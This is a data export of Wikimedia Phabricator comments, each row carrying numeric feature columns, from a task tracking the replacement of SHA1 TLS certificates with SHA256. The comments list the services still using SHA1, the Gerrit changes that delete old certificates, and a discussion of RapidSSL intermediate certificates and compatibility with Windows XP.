https://wikitech.wikimedia.org/wiki/HTTPS/domains",,,1434878957,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,23.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.225806451612903,0.7741935483870968,"QUOTE
QUOTE

WMF Labs, Planet, and the domains mentioned bySCREEN_NAME, civicrm, frdata, fundraising, payments-listener are still using SHA1. 

URL"
478217,Replace SHA1 certificates with SHA256,so all is left here is OTRS it seems,,,1434741916,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,2,True,,,-2,True,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,0.8888888888888888,so all is left here is OTRS it seems
469342,Replace SHA1 certificates with SHA256,"please revoke the SHA-1 versions of:  tendril, librenms, icinga, ganglia

please check if the SHA-1 certs have been revoked already:  dumps, blog, gerrit",,,1433452093,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7272727272727273,"please revoke the SHA-1 versions of:  tendril, librenms, icinga, ganglia

please check if the SHA-1 certs have been revoked already:  dumps, blog, gerrit"
445494,Replace SHA1 certificates with SHA256,"T91504 is also a dependency.

Signature algorithm 	SHA1withRSA   WEAK
https://www.ssllabs.com/ssltest/analyze.html?d=ticket.wikimedia.org
(deleted cached version to re-check)",,,1429295288,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-11,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.96,0.96,"T91504 is also a dependency.

Signature algorithm 	SHA1withRSA   WEAK
URL
(deleted cached version to re-check)"
445290,Replace SHA1 certificates with SHA256,"Yes, only the part of that ticket related to the SHA1 in the cert is also a dependency.",,,1429280249,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-11,True,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,10.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9,"Yes, only the part of that ticket related to the SHA1 in the cert is also a dependency."
445261,Replace SHA1 certificates with SHA256,So we're only missing T92709 here to close this? Or is T91504 also a dependency?,,,1429277508,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,22.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,22.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,11.0,11.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.6666666666666665,0.9444444444444444,So we're only missing T92709 here to close this? Or is T91504 also a dependency?
424763,Replace SHA1 certificates with SHA256,"Change 195309 merged by RobH:
delete stats.wikimedia.org SSL cert

[[https://gerrit.wikimedia.org/r/195309]]",,,1426104451,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.352941176470588,0.8823529411764706,"Change 195309 merged by RobH:
delete stats.wikimedia.org SSL cert

[[GERRIT_URL]]"
424643,Replace SHA1 certificates with SHA256,"Change 195304 merged by RobH:
delete metrics.wikimedia.org SSL cert

[[https://gerrit.wikimedia.org/r/195304]]",,,1426094963,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.470588235294118,0.8823529411764706,"Change 195304 merged by RobH:
delete metrics.wikimedia.org SSL cert

[[GERRIT_URL]]"
424577,Replace SHA1 certificates with SHA256,"Change 195303 merged by Dzahn:
delete etherpad SSL cert

[[https://gerrit.wikimedia.org/r/195303]]",,,1426090032,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.764705882352941,0.8823529411764706,"Change 195303 merged by Dzahn:
delete etherpad SSL cert

[[GERRIT_URL]]"
424255,Replace SHA1 certificates with SHA256,"Change 195307 merged by Dzahn:
delete bugzilla SSL certs

[[https://gerrit.wikimedia.org/r/195307]]",,,1426031118,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.823529411764706,0.8823529411764706,"Change 195307 merged by Dzahn:
delete bugzilla SSL certs

[[GERRIT_URL]]"
424052,Replace SHA1 certificates with SHA256,"Change 195310 abandoned by Dzahn:
delete svn.wikimedia.org SSL cert

[[https://gerrit.wikimedia.org/r/195310]]",,,1426015718,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,4.470588235294118,0.8823529411764706,"Change 195310 abandoned by Dzahn:
delete svn.wikimedia.org SSL cert

[[GERRIT_URL]]"
423420,Replace SHA1 certificates with SHA256,"Change 195308 merged by Dzahn:
delete techblog.wm blog SSL cert

[[https://gerrit.wikimedia.org/r/195308]]",,,1425936940,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.9444444444444446,0.8888888888888888,"Change 195308 merged by Dzahn:
delete techblog.wm blog SSL cert

[[GERRIT_URL]]"
423379,Replace SHA1 certificates with SHA256,"Change 195306 abandoned by Dzahn:
delete *.planet.wikimedia.org SSL cert

[[https://gerrit.wikimedia.org/r/195306]]",,,1425934764,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.5,0.8888888888888888,"Change 195306 abandoned by Dzahn:
delete *.planet.wikimedia.org SSL cert

[[GERRIT_URL]]"
423286,Replace SHA1 certificates with SHA256,"Change 195309 had a related patch set uploaded (by Krinkle):
delete stats.wikimedia.org SSL cert

[[https://gerrit.wikimedia.org/r/195309]]
",,,1425925531,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.208333333333333,0.875,"Change 195309 had a related patch set uploaded (by Krinkle):
delete stats.wikimedia.org SSL cert

[[GERRIT_URL]]
"
423244,Replace SHA1 certificates with SHA256,"Change 195310 had a related patch set uploaded (by Dzahn):
delete svn.wikimedia.org SSL cert

[[https://gerrit.wikimedia.org/r/195310]]
",,,1425922572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,17.0,4.041666666666667,0.875,"Change 195310 had a related patch set uploaded (by Dzahn):
delete svn.wikimedia.org SSL cert

[[GERRIT_URL]]
"
423240,Replace SHA1 certificates with SHA256,"Change 195308 had a related patch set uploaded (by Dzahn):
delete blog SSL cert

[[https://gerrit.wikimedia.org/r/195308]]
",,,1425922291,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.5,0.875,"Change 195308 had a related patch set uploaded (by Dzahn):
delete blog SSL cert

[[GERRIT_URL]]
"
423237,Replace SHA1 certificates with SHA256,"Change 195307 had a related patch set uploaded (by Dzahn):
delete bugzilla SSL certs

[[https://gerrit.wikimedia.org/r/195307]]
",,,1425922161,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.7083333333333335,0.875,"Change 195307 had a related patch set uploaded (by Dzahn):
delete bugzilla SSL certs

[[GERRIT_URL]]
"
423233,Replace SHA1 certificates with SHA256,"Change 195306 had a related patch set uploaded (by Dzahn):
delete *.planet.wikimedia.org SSL cert

[[https://gerrit.wikimedia.org/r/195306]]
",,,1425921714,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.08,0.88,"Change 195306 had a related patch set uploaded (by Dzahn):
delete *.planet.wikimedia.org SSL cert

[[GERRIT_URL]]
"
423228,Replace SHA1 certificates with SHA256,"Change 195304 had a related patch set uploaded (by Dzahn):
delete metrics.wikimedia.org SSL cert

[[https://gerrit.wikimedia.org/r/195304]]
",,,1425921361,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.208333333333333,0.875,"Change 195304 had a related patch set uploaded (by Dzahn):
delete metrics.wikimedia.org SSL cert

[[GERRIT_URL]]
"
423224,Replace SHA1 certificates with SHA256,"Change 195303 had a related patch set uploaded (by Dzahn):
delete etherpad SSL cert

[[https://gerrit.wikimedia.org/r/195303]]
",,,1425921185,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6666666666666665,0.875,"Change 195303 had a related patch set uploaded (by Dzahn):
delete etherpad SSL cert

[[GERRIT_URL]]
"
423221,Replace SHA1 certificates with SHA256,"Out of the one listed on top when this bug was created, a lot should not be used anymore meanwhile because we moved a lot of services to terminate SSL at nginx and be ""behind misc-web"" now.",,,1425920646,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,12.0,19.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,7.0,7.0,5.0,5.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,19.0,2.0,0.0,5.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,3.558139534883721,0.8837209302325582,"Out of the one listed on top when this bug was created, a lot should not be used anymore meanwhile because we moved a lot of services to terminate SSL at nginx and be ""behind misc-web"" now."
422568,Replace SHA1 certificates with SHA256,Chrome 41 has been released. Are there any plans for replacing all the remaining SHA1 certificates?,,,1425705830,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-17,True,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.666666666666667,1.0,Chrome 41 has been released. Are there any plans for replacing all the remaining SHA1 certificates?
407161,Replace SHA1 certificates with SHA256,">>! In T73156#1017154, @Yuhong wrote:
> This is a myth. ""RapidSSL SHA256 CA - G3"" is definitely SHA256. The other intermediate is for compatibility with older clients such as XP/Server 2003 (but note that XP has root certificate update enabled by default).

I tried connecting to https://wikitech-static.wikimeda.org with IE6 on Windows XP SP3, and there was no problem. So I think the server only needs to send the end entity certificate and ""RapidSSL G3"" intermediate certificate. Then there'll be no SHA1 certificates.",,,1423140034,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,4.0,2.0,6.0,8.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,27.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,10.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.7843137254901961,"QUOTE
QUOTE

I tried connecting to URL with IE6 on Windows XP SP3, and there was no problem. So I think the server only needs to send the end entity certificate and ""RapidSSL G3"" intermediate certificate. Then there'll be no SHA1 certificates."
407049,Replace SHA1 certificates with SHA256,"This is a myth. ""RapidSSL SHA256 CA - G3"" is definitely SHA256. The other intermediate is for compatibility with older clients such as XP/Server 2003 (but note that XP has root certificate update enabled by default).",,,1423118657,,PHID-USER-hrvupzlywpxut735kzuq,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,18.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,22.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,11.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.022222222222222,0.8444444444444444,"This is a myth. ""RapidSSL SHA256 CA - G3"" is definitely SHA256. The other intermediate is for compatibility with older clients such as XP/Server 2003 (but note that XP has root certificate update enabled by default)."
406703,Replace SHA1 certificates with SHA256,"So I was installing these, and Alex noticed that the intermediary certificate changed (stupid of me, I should have noticed.)

